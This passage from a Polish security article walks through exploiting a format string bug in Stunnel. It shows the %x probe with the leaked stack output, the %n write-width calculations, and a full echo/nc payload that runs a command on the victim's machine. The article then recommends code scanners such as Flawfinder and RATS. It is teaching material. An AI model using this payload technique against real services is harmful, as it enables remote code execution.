wziętym z kolejnego pseudo-
argumentu (czyli pod adresem 
0x08053491),

•  znacznik %<jakaś _ liczba>x,
•  znacznik %<jakaś _ liczba>$n 

– umieszczający liczbę wypi-
sanych znaków pod adresem 
wziętym z kolejnego pseudo-
argumentu (czyli pod adresem 
0x08053492),

•  znacznik %<jakaś _ liczba>x,
•  znacznik %<jakaś _ liczba>$n 

– umieszczający liczbę wypi-
sanych znaków pod adresem 
wziętym z kolejnego pseudo-
argumentu (czyli pod adresem 
0x08053493).

Zacznijmy od sprawdzenia, którym 
pseudoargumentem jest pierwszy 
adres. W tym celu wyślijmy Stunne-
lowi ciąg:

touch xxxx #AAAA%x.%x.%x.%x.%x.%x. §
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Stunnel wypisuje:

touch xxxx §
#AAAAbffff540.400f5483.4029c41b §
.fffffff6.40152c70.238.63756f74. §
78782068.23207878.41414141. §
252e7825.78252e78.2e78252e. §
252e7825.78252e78.2e78252e

Jak widać, cztery bajty następują-
ce po przeznaczonym do wykonania 
poleceniu to dziesiąty pseudoargu-
ment (0x41414141 to AAAA).

Teraz ustalmy, ile znaków powin-
ny wypisywać znaczniki %<jakaś _

liczba>x. Jak pamiętamy, chce-
my umieścić liczbę 0x401b04d0 
(pod adresem 0x08053490). Zro-
bimy to przez wypisanie kolejno 
liczb: 0xd0, 0x104, 0x11b, 0x140. 
Do pierwszego znacznika %n wy-
pisanych jest dwadzieścia osiem 
bajtów (szesnaście bajtów adre-
sów i dwanaście bajtów polece-
nia touch xxxx). W związku z tym 
pierwszy znacznik %x powinien wy-
pisać 0xd0–28=180 bajtów, dru-

gi: 0x104–0xd0=52 bajty, trzeci: 
0x11b–0x104=283 bajty, a czwar-
ty: 0x140–0x11b=37 bajtów.

Ostatecznie więc ciąg, który wy-
ślemy, wygląda następująco:

touch xxxx #0x08053490 §
0x080534910x08053492 §
0x08053493%180x%10$n%52x §
%11$n%23x%12$n%37x%13$n

Aby zawrzeć w wysyłanym ciągu 
bajty, którym nie odpowiadają zwy-
kłe znaki ASCII, skorzystamy z pole-
cenia echo:

$ echo 'touch xxxx #'\

  `echo -e '\x90\x34\x05\x08\x91 §
  \x34\x05\x08\x92\x34\x05\x08 §
  \x93\x34\x05\x08'`\

  '%180x%10$n%52x%11$n%23x §
  %12$n%37x%13$n' | nc -l -p 2525

W wyniku wydania tego polecenia 
na komputerze ofiary pojawi się pu-
sty plik xxxx.

Podsumowanie
Błędy, które umożliwiają przeka-
zanie do programu ciągu formatu-
jącego, mogą być, jak widać, rów-
nie groźne jak błędy umożliwiające 
przepełnienie bufora. Na szczęście 
istnieją narzędzia, które mogą po-
móc programistom bronić się przed 
takimi błędami.

Pierwszym narzędziem ska-
nującym kod źródłowy w poszu-
kiwaniu możliwych błędów zwią-
zanych z ciągami formatującymi 
był pscan. Obecnie narzędzi ska-
nujących kod źródłowy jest wię-
cej i wiele z nich rozpoznaje błę-
dy związane z ciągami formatują-
cym, na przykład Flawfinder (http://
www.dwheeler.com/flawfinder/ ), 
RATS (http://www.securesw.com/
download_rats.htm), czy ITS4 
(http://www.cigital.com/its4/ ). Oso-
bom programującym w języku C go-
rąco zalecamy ich stosowanie – po-
mogą w zwiększeniu bezpieczeń-
stwa tworzonych samodzielnie apli-
kacji. n


